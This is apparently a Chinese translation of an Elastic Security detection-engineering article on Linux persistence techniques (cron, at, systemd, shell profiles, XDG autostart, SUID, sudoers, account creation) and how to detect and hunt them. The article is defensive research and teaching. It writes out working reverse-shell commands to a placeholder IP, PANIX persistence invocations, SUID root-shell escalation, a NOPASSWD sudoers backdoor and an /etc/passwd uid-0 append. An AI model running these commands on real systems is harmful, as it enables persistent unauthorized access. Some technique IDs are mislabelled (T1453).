Linux 检测工程 - 持久化机制入门

简介

在本 Linux 检测工程系列的第二部分中，我们将详细研究 Linux 持久化机制，从常见或直接的方法开始，逐步深入到更复杂或更晦涩的技术。目标是通过研究简单和更复杂的方法，了解这些方法的工作原理、如何搜索它们以及如何开发有效的检测策略，从而让防御者和安全研究人员了解 Linux 持久化技术的基础方面。

对于那些错过了第一部分“使用 Auditd 进行 Linux 检测工程”的人，可以在这里找到。

在本期中，我们将设置持久化机制，分析日志，并观察潜在的检测机会。为了帮助这个过程，我们分享了 PANIX，这是 Elastic Security 的 Ruben Groenewoud 开发的 Linux 持久化工具。PANIX 简化并自定义了持久化设置，以便测试您的检测。

在本文结束时，您将对我们描述的每种持久化机制有一个扎实的理解，包括

• 它是如何工作的（理论）
• 如何设置它（实践）
• 如何检测它（SIEM 和端点规则）
• 如何搜索它（ES|QL 和 OSQuery 搜索）

和我们一起进入 Linux 持久化的世界吧，这很有趣！

什么是持久化？

让我们从基础知识开始。持久化是指攻击者即使在重启、密码更改或其他试图删除他们的尝试之后，仍然能够维持在受损系统或网络中的立足点。

持久化对于攻击者至关重要，可确保他们对目标环境的长期访问。这使他们能够收集情报，了解环境，在网络中横向移动，并朝着实现其目标努力。

鉴于大多数恶意软件都会尝试自动建立某种形式的持久性，因此这个阶段对于防御者来说至关重要。理想情况下，应该在初始访问期间检测并阻止攻击，但这并非总是可能。许多恶意软件样本还利用多种持久化技术来确保持续访问。值得注意的是，这些持久化机制通常可以通过强大的防御措施来检测到。

即使检测到攻击，初始访问向量被修补和缓解，但任何遗留的持久化机制都可能允许攻击者重新获得访问权限并恢复其操作。因此，必须近乎实时地监控某些持久化机制的建立，并定期搜索其他持久化机制。

为了支持这项工作，Elastic 利用 MITRE ATT&CK 框架作为我们在大多数检测工件中对技术进行分类的主要词汇。MITRE ATT&CK 是一个全球可访问的基于真实世界观察的对手战术和技术知识库。它通常用作开发网络安全领域内特定威胁模型和方法的基础。通过利用这个全面的框架，我们增强了有效检测、理解和缓解持续威胁的能力。

设置

为了确保您准备好检测本文讨论的持久化机制，启用和更新我们预构建的检测规则非常重要。如果您使用的是自定义构建的规则集，并且没有使用我们所有的预构建规则，那么这是一个测试它们并弥补任何空白的好机会。

要安装、启用和更新我们的预构建规则，请按照以下步骤操作

1. 导航到 Kibana → 安全 → 规则 → 检测规则 (SIEM)。
2. 您将在此处找到您已安装的和潜在的新或已更新的预构建规则。
3. 使用“添加 Elastic 规则”按钮添加最新的 Elastic 预构建规则。
4. 使用“规则更新”选项卡更新现有规则。

现在，我们准备开始了。

T1053 - 计划任务/作业

在类 Unix 操作系统中，自动化例行任务对于系统维护很常见。一些用于任务调度的常用实用程序是 cron 和 at。MITRE 在标识符 T1053 下详细介绍了与此技术相关的信息。

T1053.003 - 计划任务/作业：Cron

Cron 是一个用于调度定期任务以在特定时间或间隔运行的实用程序。它在大多数 Linux 发行版上默认可用。它是一个守护进程（即，一个通常在后台执行任务而无需用户交互的后台进程），它从一组默认位置读取 cron 文件。这些文件包含定期和/或在计划时间运行的命令。

计划任务称为 cron 作业，可以根据配置以用户和 root 权限执行。由于其多功能性，即使在初始访问时未升级到 root 权限，cron 也是 Linux 持久性的简单而稳定的选择。

有特定于用户的和系统范围的 cron 作业。特定于用户的 cron 作业通常位于

• /var/spool/cron/
• /var/spool/cron/crontabs/

系统范围的 cron 作业位于以下位置

• /etc/crontab
• /etc/cron.d/
• /etc/cron.daily/
• /etc/cron.hourly/
• /etc/cron.monthly/
• /etc/cron.weekly/

cron 文件语法根据创建 cron 文件的位置略有不同。对于 /etc/ 目录中的 cron 文件，必须指定将执行作业的用户。

* * * * * root /bin/bash -c '/srv/backup_tool.sh'

相反，在 /var/spool/cron/crontabs/ 目录中创建 cron 文件的用户将执行 cron 文件。

* * * * * /bin/bash -c '/srv/backup_tool.sh'

星号用于创建计划。它们代表（按顺序）分钟、小时、天（每月）、月份和天（每周）。设置 “* * * * *” 表示 cron 作业每分钟执行一次，而设置 “* * 1 12 *” 表示 cron 作业在 12 月的第一天每分钟执行一次。有关 cron 调度的信息，请访问 Crontab Guru。

攻击者可以利用这些作业来运行建立反向连接或添加反向 shell 命令的脚本或二进制文件。

* * * * * root /bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'

MITRE 在 T1053.003 中指定了更多信息和与此技术相关的真实示例。

通过 T1053.003 实现持久化 - cron

您可以在任何 /etc/ 目录中手动创建一个系统范围的 cron 文件，或使用 crontab -e 命令创建一个特定于用户的 cron 文件。为了更轻松地说明这些文章中介绍的所有持久化机制，我们将使用 PANIX。根据运行时所具有的权限，您可以像这样建立持久性

sudo ./panix.sh --cron --default --ip 192.168.1.1 --port 2001
[+] Cron job persistence established.

root 用户的默认设置将在 /etc/cron.d/freedesktop_timesync1 中创建一个 cron 文件，该文件每分钟调用一次攻击者系统。在查看事件时，我们可以看到以下内容

当执行 PANIX 时，创建了 cron 作业，/usr/sbin/cron 读取了 cron 文件的内容并执行了它，之后建立了网络连接。通过分析这一系列事件，我们可以为此和其他概念验证确定几种检测功能。

Elastic SIEM 包含超过 1,000 条预构建规则，其中 200 多条专门针对 Linux。这些规则在 Elastic 集群上运行，旨在检测我们公共检测规则存储库中提供的威胁技术。我们的防御能力包括行为端点规则和内存/文件签名，这些规则由 Elastic Defend 使用，可以在我们的公共保护工件存储库中找到。

文件类别有三个不同的规则，前两个侧重于使用 Elastic Defend 进行创建/修改，而第三个侧重于通过文件完整性监控 (FIM)进行修改。可以使用Auditbeat或通过 Fleet 集成来设置 FIM。要正确设置 FIM，重要的是指定 FIM 应监视的文件的完整路径，因为它不允许使用通配符。因此，“通过文件修改实现持久性的潜在可能性”规则需要手动设置和根据您的特定需求进行定制，因为它需要根据您要检测的持久性技术进行单独的条目。

T1053.002 - 计划任务/作业：at

At 是一个实用程序，用于在 Linux 系统上的未来指定时间运行一次性任务。与处理重复性任务的 cron 不同，At 专为单次执行而设计。At 守护进程（atd）在指定时间管理和执行这些计划任务。

At 作业是通过指定其应运行的确切时间来定义的。根据配置，用户可以使用用户或 root 权限来计划 At 作业。这使得 At 成为一种直接的计划任务选项，无需持久或重复执行，但对攻击者来说用处不大。此外，At 在大多数 Linux 发行版中默认情况下不存在，这使得利用它更加不平凡。但是，它仍然用于持久性，因此我们不应忽视该技术。

At 作业存储在 /var/spool/cron/atjobs/ 中。除了 At 作业外，At 还在 /var/spool/cron/atspool/ 目录中创建一个假脱机文件。这些作业文件包含计划任务的详细信息，包括要执行的命令和计划的时间。

要使用 At 计划任务，只需提供要运行的命令和执行时间。语法很简单

echo "/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'" | at now + 1 minute

上面的示例计划一个任务，使其在当前时间后一分钟运行。时间格式可以很灵活，例如 at 明天下午 5 点 或 at 现在 + 2 小时。可以使用 atq 命令列出 At 作业详细信息，并且可以使用 atrm 删除特定作业。

At 对于一次性任务计划非常有用，并且对于需要重复和单实例任务计划解决方案的用户来说，是对 cron 的补充。MITRE 在 T1053.002 中指定了与此技术相关的更多信息和真实示例。

通过 T1053.002 实现持久性 - At

您可以利用上述命令结构或使用 PANIX 来设置 At 作业。确保在您的系统上安装了 At 并且时间设置正确，因为这可能会干扰执行。

./panix.sh --at --default --ip 192.168.1.1 --port 2002 --time 14:49
job 15 at Tue Jun 11 14:49:00 2024
[+] At job persistence established.

默认情况下，根据用于运行程序的权限，将在用户指定的时间间隔建立反向连接。查看 Discover 中的事件

我们看到 PANIX 的执行，它正在创建 At 作业。接下来，At(d) 创建两个文件，一个 At 作业和一个 At 假脱机。在正确的时间间隔，执行 At 作业，之后建立与攻击 IP 的反向连接。查看这些事件，我们发现其行为覆盖机会比 cron 少，因为在行为上，它只是 /bin/sh 执行 shell 命令。但是，我们仍然可以识别以下工件

T1053 - 计划任务/作业：荣誉提名

通过计划任务/作业建立持久性的其他一些值得荣誉提名的包括 Anacron、Fcron、Task Spooler 和 Batch。虽然由于其非默认安装以及与 cron 和其他机制相比的有限通用性，这些工具较少被恶意软件利用，但仍然值得注意。我们在持久性规则集中包含其中一些的行为检测规则。例如，Batch 作业与 At 作业保存在相同的位置，并且由我们的“创建或修改的 At 作业”规则覆盖。类似地，Anacron 作业通过我们的“创建或修改的 Cron 作业”规则覆盖，因为 Anacron 与默认的 Cron 持久性检测设置集成。

搜索 T1053 - 计划任务/作业

除了依赖 Elastic 的预构建检测和端点规则外，防御者还将从手动威胁搜寻中大大受益。作为 Elastic 8.14 版本的一部分，引入了Elasticsearch 查询语言 (ES|QL) 语言的全面可用性。ES|QL 提供了一种强大的方式来过滤、转换和分析存储在 Elasticsearch 中的数据。对于此用例，我们将利用 ES|QL 在 Elasticsearch 堆栈中搜索所有数据，以查找 cron、At、Anacron、Fcron、Task Spooler 和 Batch 持久性的踪迹。

我们可以利用以下 ES|QL 查询，该查询可以根据您的特定环境进行定制

此查询返回 76 个可能需要调查的匹配项。有些与 PANIX 相关，有些与真实的恶意软件引爆相关，还有一些是误报。

处理误报至关重要，因为系统管理员和其他授权人员通常会使用这些工具。区分合法使用和恶意使用对于保持有效的安全态势至关重要。准确识别使用这些工具背后的意图有助于最大限度地减少误报造成的干扰，同时确保及时处理潜在威胁。

与 cron 类似的程序也有执行历史记录，因为其执行的所有脚本都将 cron 作为其父级。这使我们能够通过 ES|QL 搜索不寻常的进程执行

此示例使用 distinct_count 对 host.id 执行聚合。如果观察到异常条目，则可以删除 host_count，并且可以将其他字段（例如 host.name 和 user.name）添加到 by 部分。这可以帮助查找特定主机上的异常行为，而不是在整个环境中查找。如果识别出可疑进程，这也可以是一个额外的支点机会。

在这种情况下，查询返回 37 个结果，其中大多数是由于执行此操作的测试堆栈的性质而产生的真阳性。

在您的环境中，这可能会返回大量结果。您可以考虑减少/增加搜索的天数。此外，可以增加/减少条目总数 (cc) 和 host_count，以使其对您的环境有意义。每个网络都是独一无二的；因此，一个环境中的误报可能不是每个环境中的误报。此外，可以增加/减少条目总数（cc）和 host_count，以使其对您的环境有意义。每个网络都是独一无二的，因此一个环境中的误报可能不是另一个环境中的误报。添加特定于您需求的排除项将有助于更轻松地进行搜索。

除了 ES|QL 之外，我们还可以利用 Elastic 的 OSQuery Manager 集成。OSQuery 是一个开源的跨平台工具，它使用 SQL 查询来调查和监控操作系统的性能、配置和安全性，方法是将系统信息公开为关系数据库。它允许管理员和安全专业人员轻松查询系统数据并创建实时监控和分析解决方案。流式遥测表示一段时间内的活动，而 OSQuery 侧重于静态的磁盘上存在。这为检测低速/解耦式攻击打开了大门，并且可能会通过遥测搜索捕获其他未被发现的活动。

有关如何设置 OSQuery 的信息可以在 Kibana 文档中找到，有关深入解释 OSQuery 的博客文章可以在此处找到。我们可以运行以下实时查询来显示特定系统上存在的所有 cron 文件

返回以下结果。我们可以看到 /etc/cron.d/freedesktop_timesync1 具有最近的 file_last_status_change_time，并且与其他 cron 文件不同。这是 PANIX 植入的后门。

如果我们想深入挖掘，OSQuery 还提供了一个模块，可以通过运行以下查询来读取 crontab 文件中的命令

这向我们显示了命令、cron 作业的位置以及它运行的相应计划。

分析屏幕截图，我们看到了两个可疑的反向 shell 条目，这可能需要额外的手动调查。

上述狩猎活动的概述，以及额外的描述和参考资料，可以在我们的检测规则仓库中找到，特别是Linux 狩猎子目录。我们可以通过利用 ES|QL 和 OSQuery 来搜索不常见的计划任务文件创建或通过计划任务可执行文件执行的异常进程。 通过 Cron 实现持久性狩猎包含了几个 ES|QL 和 OSQuery 查询，以帮助完成此过程。

T1453 - 创建或修改系统进程 (systemd)

Systemd 是 Linux 的系统和服务管理器，被广泛采用以替代传统的 SysVinit 系统。它负责初始化系统、管理进程和处理系统资源。Systemd 通过一系列单元文件来操作，这些文件定义了服务的启动、停止和管理方式。

单元文件有不同的类型，每种类型都为特定目的而设计。服务单元是管理长时间运行进程（通常是守护进程）最常见的单元类型。此外，计时器单元管理其他单元基于时间的激活，类似于 cron 作业，但集成到 Systemd 中。

本节将讨论 systemd 服务和生成器的 T1453，以及 systemd 计时器的 T1053。

T1453.002 - 创建或修改系统进程：systemd 服务

由 systemd 管理的服务由单元文件定义，并且位于默认目录中，具体取决于操作系统以及服务是在系统范围内运行还是特定于用户的。系统范围内的单元文件通常位于以下目录中

• /run/systemd/system/
• /etc/systemd/system/
• /etc/systemd/user/
• /usr/local/lib/systemd/system/
• /lib/systemd/system/
• /usr/lib/systemd/system/
• /usr/lib/systemd/user/

特定于用户的单元文件通常位于

• ~/.config/systemd/user/
• ~/.local/share/systemd/user/

一个基本的服务单元文件由三个主要部分组成：[Unit]、[Service] 和 [Install]，并且具有 .service 扩展名。这是一个简单的单元文件示例，可用于持久性

[Unit]
Description=Reverse Shell

[Service]
ExecStart=/bin/bash -c 'sh -i >& /dev/tcp/192.168.1.1/1337 0>&1'

[Install]
WantedBy=multi-user.target

此单元文件将在每次系统启动时尝试建立反向 shell 连接，并以 root 权限运行。MITRE 在 T1543.002 中概述了有关 systemd 服务的更多信息和真实示例。

仅仅依赖于重启时的持久性可能过于受限。可以利用计时器单元文件来克服此限制，以确保在预定义的计划上实现持久性。

T1053.006 - 计划任务/作业：systemd 计时器

计时器单元提供了一种通用的方法来调度任务，类似于 cron 作业，但与 Systemd 生态系统集成度更高。计时器单元指定计划，并与执行任务的相应服务单元相关联。计时器单元可以在特定的间隔、特定的日期或甚至基于系统事件运行任务。

计时器单元文件通常与服务单元文件位于相同的目录中，并具有 .timer 扩展名。通过利用相同的单元文件名但更改扩展名，可以将计时器耦合到服务。一个计时器单元文件的示例，它将每小时激活我们先前创建的服务，如下所示

[Unit]
Description=Obviously not malicious at all

[Timer]
OnBootSec=1min
OnUnitActiveSec=1h

[Install]
WantedBy=timers.target

计时器用途广泛，并允许不同的调度选项。一些示例是 OnCalendar=Mon,Wed,Fri 17:00:00，用于在每个星期一、星期三和星期五的下午 5:00 运行服务，以及 OnCalendar=*-*-* 02:30:00，用于在每天的凌晨 2:30 运行服务。MITRE 在 T1053.006 中介绍了有关 Systemd 计时器的更多详细信息和真实示例。

T1453 - 创建或修改系统进程：systemd 生成器

生成器是 systemd 在启动时和配置重新加载期间执行的小型可执行文件。它们的主要作用是将非原生配置和执行参数转换为动态生成的单元文件、符号链接或插入件，从而扩展服务管理器的单元文件层次结构。

系统和用户生成器分别从 system-generators/ 和 user-generators/ 目录加载，其中较早列出的目录会覆盖同名的其他目录。生成器在三个基于优先级的目录中生成输出：generator.early（最高优先级）、generator（中等优先级）和 generator.late（最低优先级）。重新加载守护进程将重新运行所有生成器并从磁盘重新加载所有单元。

系统范围的生成器可以放置在以下目录中

• /run/systemd/system-generators/
• /etc/systemd/system-generators/
• /usr/local/lib/systemd/system-generators/
• /lib/systemd/system-generators/
• /usr/lib/systemd/system-generators/

特定于用户的生成器放置在以下目录中

• /run/systemd/user-generators/
• /etc/systemd/user-generators/
• /usr/local/lib/systemd/user-generators/
• /lib/systemd/user-generators/
• /usr/lib/systemd/user-generators/

Pepe Berba 的研究 探讨了使用 systemd 生成器来建立持久性。一种方法是使用生成器来创建一个服务文件，该文件会在启动时触发后门。或者，生成器可以直接执行后门，如果网络服务尚未启动，这可能会导致延迟，从而警告用户。Systemd 生成器可以是二进制文件或 shell 脚本。例如，一个有效负载可能如下所示

#!/bin/sh
# Create a systemd service unit file in the late directory
cat <<-EOL > "/run/systemd/system/generator.service"
[Unit]
Description=Generator Service

[Service]
ExecStart=/usr/lib/systemd/system-generators/makecon
Restart=always
RestartSec=10

[Install]
WantedBy=multi-user.target
EOL

mkdir -p /run/systemd/system/multi-user.target.wants/
ln -s /run/systemd/system/generator.service /run/systemd/system/multi-user.target.wants/generator.service

# Ensure the script exits successfully
exit 0

这会创建一个新服务 (generator.service)，而该服务又会在启动时执行 /usr/lib/systemd/system-generators/makecon。由于此方法会创建一个服务（尽管是通过生成器创建的），因此我们将仔细研究 systemd 服务持久性。让我们来看看这些如何在实践中工作。

通过 T1453/T1053 实现持久性 - systemd 服务、计时器和生成器

您可以在适当的目录中手动创建单元文件，重新加载守护进程，启用并启动服务，或者使用 PANIX 为您执行此操作。PANIX 将在指定目录中创建一个服务单元文件，该文件又会通过计时器单元文件以一分钟的间隔运行自定义命令。您还可以将 --default 与 --ip、--port, 和 --timer 一起使用。

sudo ./panix.sh --systemd --custom --path /etc/systemd/system/panix.service --command "/usr/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.1/2003 0>&1'" --timer
Service file created successfully!
Created symlink /etc/systemd/system/default.target.wants/panix.service → /etc/systemd/system/panix.service.
Timer file created successfully!
Created symlink /etc/systemd/system/timers.target.wants/panix.timer → /etc/systemd/system/panix.timer.
[+] Persistence established.

启用服务单元后，systemd 将在 default.target.wants/ 目录（或另一个适当的目标目录）中创建一个符号链接。这会告诉 systemd 在系统到达 default.target 时自动启动 panix.service。同样，计时器单元文件的符号链接告诉 systemd 基于计时器单元文件中定义的计划激活计时器。

在 Kibana 中查看文档时，我们可以分析并找出发生了什么

执行 PANIX，这会在相应的目录中创建 panix.service 和 panix.timer 单元。然后，使用 systemctl 重新加载守护进程，之后启用并启动 panix.timer，从而使 systemd 能够在计时器每次命中时运行服务单元的 ExecStart 部分（该部分会启动出站网络连接）。为了检测潜在的 systemd 持久性，我们利用以下行为规则

狩猎 T1053/T1453 - systemd 服务、计时器和生成器

我们可以通过利用 ES|QL 和 OSQuery，在我们的环境中通过 systemd 查找不常见的 service/ timer/ generator 文件创建。 通过 Systemd（定时器）实现持久性 文件包含多个 ES|QL 和 OSQuery 查询，可以帮助查找这些类型的持久性。

T1546.004 - 事件触发执行：Unix shell 配置修改

Unix shell 配置文件 是在用户会话期间根据事件（例如，登录/注销或打开/关闭 shell 会话）运行的脚本。这些文件用于自定义 shell 环境，包括设置环境变量、别名和其他特定于会话的设置。由于这些文件是通过 shell 执行的，因此攻击者可以轻松地利用它们，通过向这些脚本注入后门来在系统上建立持久性。

不同的 shell 有其自己的配置文件。与 cron 和 systemd 类似，这种持久性机制可以使用用户和 root 权限建立。根据 shell 的不同，系统范围的 shell 配置文件位于以下位置，并且需要 root 权限才能更改

• /etc/profile
• /etc/profile.d/
• /etc/bash.bashrc
• /etc/bash.bash_logout

用户特定的 shell 配置文件通过用户执行的操作触发，并在用户的上下文中执行。根据 shell 的不同，这些文件通常包括

• ~/.profile
• ~/.bash_profile
• ~/.bash_login
• ~/.bash_logout
• ~/.bashrc

一旦修改，这些脚本将确保在每次用户登录或注销时执行恶意命令。这些脚本按 特定顺序执行。当用户通过 SSH 登录时，登录 shell 的执行顺序是

1. /etc/profile
2. ~/.bash_profile (如果存在，否则)
3. ~/.bash_login (如果存在，否则)
4. ~/.profile (如果存在)

对于非登录交互式 shell 初始化，将执行 ~/.bashrc。通常，为了确保此配置文件也在登录时执行， ~/.bashrc 在 ~/.bash_profile、 ~/.bash_login 或 ~/.profile 中被引用。此外，可以将后门添加到 ~/.bash_logout 配置文件中，以便在 shell 终止时实现持久性。

在这些文件中植入后门时，重要的是不要在执行链中犯错，这意味着选择正确的配置文件和选择合适的有效负载都很重要。典型的反向 shell 连接会使终端冻结，而将反向 shell 连接发送到后台会使其出现故障。一个潜在的有效负载可能如下所示

(nohup bash -i > /dev/tcp/192.168.1.1/1337 0<&1 2>&1 &)

此命令使用 “nohup”（不挂断）以后台进程的形式运行交互式 bash 反向 shell，确保即使在发起用户注销后它也会继续运行。然后，使用 & 在后台执行整个命令，并用括号括起来以创建一个子 shell，防止对父 shell 的操作产生任何干扰。

警惕其他类型的后门，例如在运行 sudo 时创建虚假“[sudo] password for…”提示的凭证窃取器或执行恶意二进制文件。 MITRE 在 T1546.004 中指定了有关此技术的更多信息和真实示例。

通过 T1546.004 实现持久性 - shell 配置文件修改

您可以通过手动或使用 PANIX 将 bash 有效负载添加到 shell 配置文件中。当 PANIX 以用户权限运行时，它通过修改 ~/.bash_profile 来建立持久性。使用 root 权限时，它会修改 /etc/profile 文件以实现系统范围的持久性。

sudo ./panix.sh --shell-profile --default --ip 192.168.1.1 --port 2004

要触发它，请通过 shell 使用 su --login root 或通过 SSH 登录为 root。shell 配置文件将按顺序解析和执行，从而产生以下执行链

PANIX 将后门植入 /etc/profile 中，然后执行 su --login root 以触发有效负载， UID/GID 更改为 root，并通过注入的后门启动网络连接。通过 SSH 登录时也会发生类似的过程。我们可以检测到攻击链的几个步骤。

涵盖 shell 配置文件修改的检测和端点规则 persistence_

查找 T1546.004 - shell 配置修改

我们可以通过利用 ES|QL 和 OSQuery 来查找 shell 配置文件创建/修改以及 SSHD 子进程。 Shell 修改持久性 查找规则包含几个此类查找查询。

T1547.013 - 启动或登录自动启动执行：XDG 自动启动条目

跨桌面组 (XDG) 是一组Unix 桌面环境的标准，描述了应用程序应如何在用户登录时自动启动。 XDG 自动启动规范特别有趣，因为它定义了一种基于桌面条目文件自动启动应用程序的方式，这些文件是带有 .desktop 扩展名的纯文本文件。

.desktop 文件通常用于配置应用程序在菜单中的显示方式以及它们的启动方式。通过利用 XDG 自动启动，攻击者可以配置恶意应用程序在用户登录其桌面环境时自动运行。

这些文件的放置位置因持久性是为所有用户（系统范围）还是特定用户建立而异。它还取决于所使用的桌面环境；例如，KDE 的配置位置与 Gnome 不同。默认的系统范围自动启动文件位于需要 root 权限才能修改的目录中，例如

• /etc/xdg/autostart/
• /usr/share/autostart/

除了 root 用户特定的自动启动文件外，默认的用户特定自动启动文件仅需要用户级别的权限。这些通常位于

• ~/.config/autostart/
• ~/.local/share/autostart/
• ~/.config/autostart-scripts/（不是 XDG 标准的一部分，但被 KDE 使用）
• /root/.config/autostart/*
• /root/.local/share/autostart/
• /root/.config/autostart-scripts/

一个 .desktop 文件的示例，该文件在用户登录时执行二进制文件，如下所示

[Desktop Entry]
Type=Application
Exec=/path/to/malicious/binary
Hidden=false
NoDisplay=false
X-GNOME-Autostart-enabled=true
Name=Updater

Volexity 最近发布了关于 DISGOMOJI 恶意软件的研究，该恶意软件被发现通过在 ~/.config/autostart/ 目录中放置一个 .desktop 文件来建立持久性，该文件将执行系统上植入的恶意后门。由于它可以使用用户/root 权限建立，因此它是自动持久性实现的有趣候选对象。此外，MITRE 在 T1547.013 中指定了有关此技术的更多信息和真实示例。

通过 T1547.013 实现持久性 - 跨桌面组 (XDG)

您可以手动或通过 PANIX 确定此技术的覆盖范围并动态分析此技术。在分析此技术时，请确保 XDG 在您的测试系统上可用，因为它旨在用于具有 GUI 的系统（XDG 也可以在没有 GUI 的情况下使用）。当 PANIX 以用户权限运行时，它通过修改 ~/.config/autostart/user-dirs.desktop 以执行 ~/.config/autostart/.user-dirs 并实现用户特定的持久性来建立持久性。使用 root 权限时，它会修改 /etc/xdg/autostart/pkc12-register.desktop 以执行 /etc/xdg/pkc12-register 并实现系统范围的持久性。

sudo ./panix.sh --xdg --default --ip 192.168.1.1 --port 2005
[+] XDG persistence established.

重新启动系统并收集日志后，基于 GNOME 的系统将存在以下事件。

我们可以看到 PANIX 创建了 /etc/xdg/autostart 目录和 pkc12-register/pkc12-register.desktop 文件。它赋予后门脚本执行权限，之后建立持久性。当用户登录时，会解析 .desktop 文件，并且 /usr/libexec/gnome-session-binary 会执行其内容，这反过来会启动反向 Shell 连接。在这里，我们再次可以检测到攻击链的几个部分。

同样，文件类别有两个不同的规则：前者侧重于使用 Elastic Defend 进行创建/修改，而后者侧重于通过 FIM 进行修改。

搜索 T1547.013 - XDG 自动启动条目

通过 XDG 搜索持久性涉及到在已知位置创建 XDG .desktop 文件，以及通过 ES|QL 和 OSQuery 从会话管理器父进程中产生的异常子进程。XDG 持久性搜索规则包含多个查询，用于搜索 XDG 持久性。

T1548.001 - 滥用提升控制机制：setuid 和 setgid

设置所有者用户 ID (SUID) 和 设置组 ID (SGID) 是 Unix 文件权限，允许用户分别使用可执行文件的所有者或组权限运行可执行文件。当 root 用户拥有的可执行文件上设置了 SUID 位时，任何运行该可执行文件的用户都将获得 root 权限。类似地，当在可执行文件上设置 SGID 位时，它将以拥有该文件的组的权限运行。

SUID 和 SGID 后门的典型目标包括常见的系统二进制文件，如 find、vim 或 bash，这些文件通常可用且广泛使用。GTFOBins 提供了可用于获取 root shell 或未经授权的文件读取的常见 Unix 二进制文件列表。系统管理员在管理 SUID 和 SGID 二进制文件时必须谨慎，因为配置不正确的权限可能导致重大的安全漏洞。

为了利用这一点，系统上必须存在配置错误的 SUID 或 SGID 二进制文件，或者必须获得 root 级权限才能创建后门。典型的特权提升枚举脚本会使用 find 枚举整个文件系统以查找这些二进制文件的存在。

SUID 和 SGID 二进制文件在 Linux 上很常见，并且默认情况下在系统上可用。通常，这些文件无法被利用。一个配置错误的 SUID 二进制文件的例子如下

find / -perm -4000 -type f -exec ls -la {} \;
-rwsr-sr-x 1 root root 1396520 Mar 14 11:31 /bin/bash

/bin/bash 二进制文件不是默认的 SUID 二进制文件，并且会导致安全风险。攻击者现在可以运行 /bin/bash -p 来运行 bash 并保持执行的 root 权限。有关此内容的更多信息，请访问 GTFOBins。尽管 MITRE 将其定义为特权提升/防御规避，但它也可以（如所示）用于持久性。有关此技术的更多 MITRE 信息，请访问 T1548.001。

通过 T1548.001 - setuid 和 setgid 实现持久性

此方法需要 root 权限，因为它将 SUID 位设置为一组可执行文件

sudo ./panix.sh --suid --default
[+] SUID privilege granted to /usr/bin/find
[+] SUID privilege granted to /usr/bin/dash
[-] python is not present on the system.
[+] SUID privilege granted to /usr/bin/python3

将 SUID 权限设置为二进制文件后，可以以允许用户保持 root 权限的方式执行该文件

/usr/bin/find . -exec /bin/sh -p \; -quit
whoami
root

查看此操作生成的事件，我们可以看到用户 ID 和实际用户 ID 之间存在差异

使用 sudo 执行 PANIX 后，使用 chmod 将 SUID 权限授予 /usr/bin/find、/usr/bin/dash 和 /usr/bin/python3。随后，使用 /usr/bin/find 以特权模式 (-p) 运行 /bin/sh，以获取 root shell。通常，进程的实际用户 ID 与有效用户 ID 匹配。但是，也有例外情况，例如使用 sudo、su，或者如此处所示的 SUID 二进制文件时，实际用户 ID 会有所不同。利用我们对 GTFOBins 和执行链的了解，我们可以检测到 SUID 和 SGID 滥用的多个指标。

搜索 T1548.001 - setuid 和 setgid

搜索 SUID 和 SGID 文件最简单有效的方法是通过 OSQuery 搜索文件系统中的这些文件，并注意异常文件。OSQuery SUID 搜索规则可以帮助你搜索此技术。

T1548.003 - 滥用提升控制机制：sudo 和 sudo 缓存（sudoers 文件修改）

sudo 命令允许用户以超级用户或其他用户权限执行命令。sudoers 文件管理 sudo 权限，这决定了谁可以使用 sudo 以及他们可以运行哪些命令。主配置文件位于 /etc/sudoers。

此文件包含 sudo 访问的全局设置和特定于用户的规则。此外，还有一个目录用于在 /etc/sudoers.d/ 中存储其他 sudoers 配置文件。此目录中的每个文件都被视为主 sudoers 文件的扩展，从而允许模块化和有组织的 sudo 配置。

系统管理员和威胁行为者都可能错误配置 sudoers 文件及其扩展。常见的意外错误配置可能是过于宽松的规则，这些规则授予用户比必要更多的访问权限。相反，具有 root 访问权限的威胁行为者可以故意修改这些文件，以确保他们保持提升的访问权限。

允许攻击者以任何用户身份运行任何命令而无需密码提示的错误配置或后门的示例如下

Attacker ALL=(ALL) NOPASSWD:ALL

通过利用此类错误配置，攻击者可以保持持久的 root 访问权限。例如，使用上述后门配置，攻击者可以通过执行 sudo /bin/bash 来获得 root shell。与之前的技术类似，此技术也被 MITRE 分类为特权提升/防御规避。当然，这再次是正确的，但这也是建立持久性的一种方式。有关 T1548.003 的更多信息，请访问 这里。

通过 T1548.003 - sudoers 文件修改实现持久性

sudo -l 命令可用于列出当前主机上允许（和禁止）该用户使用的命令。默认情况下，非 root 用户不能在不指定密码的情况下使用 sudo 运行任何命令。

sudo -l
[sudo] password for attacker:

让我们为 attacker 用户添加一个后门条目

sudo ./panix.sh --sudoers --username attacker
[+] User attacker can now run all commands without a sudo password.

在 sudoers 文件中添加后门并重新运行 sudo -l 命令后，我们看到攻击者现在可以在不指定密码的情况下使用 sudo 在系统上运行任何命令。

> sudo -l
> User attacker may run the following commands on ubuntu-persistence-research:
>  (ALL : ALL) ALL
>  (ALL) NOPASSWD: ALL

植入此后门后，除了创建 /etc/sudoers.d/attacker 文件之外，没有留下太多痕迹。

还可以通过添加到 /etc/sudoers 文件来建立此后门，这不会生成文件创建事件。可以通过 FIM 捕获此事件。

搜索 T1548.003 - sudoers 文件修改

OSQuery 提供了一个模块，通过一个简单有效的实时搜索显示所有 sudoers 文件和规则，该模块可在 通过现有 Sudoers 文件进行特权提升识别中找到。

T1098/T1136 - 帐户操作/创建

可以通过创建或修改用户帐户来建立持久性。通过操作用户凭据或权限，攻击者可以确保长期访问受损系统。本节介绍通过用户帐户操作实现持久性的各种方法。MITRE 将本节分为 T1098（帐户操作）和 T1136（创建帐户）。

T1136.001 - 创建帐户：本地帐户

创建新用户帐户是建立持久性的直接方法。具有 root 权限的攻击者可以添加新用户，确保他们即使删除了其他后门也可以保持对系统的访问权限。例如

useradd -m -s /bin/bash backdooruser
echo 'backdooruser:password' | chpasswd

这会创建一个名为 backdooruser 的新用户，密码为 password。

T1098 - 账户操作：用户凭据修改

修改现有用户的凭据也可以提供持久访问。这可能包括更改特权用户帐户的密码。

echo 'targetuser:newpassword' | chpasswd

这将 targetuser 的密码更改为 newpassword。

T1098 - 账户操作：直接修改 /etc/passwd 文件

直接写入 /etc/passwd 文件是另一种修改用户帐户的方法。这种方法允许攻击者手动添加或修改用户条目，从而可能避免被检测到。

echo "malicioususer:<openssl-hash>:0:0:root:/root:/bin/bash" >> /etc/passwd

其中 <;openssl-hash> 是一个可以通过 openssl passwd "$password" 生成的哈希值。

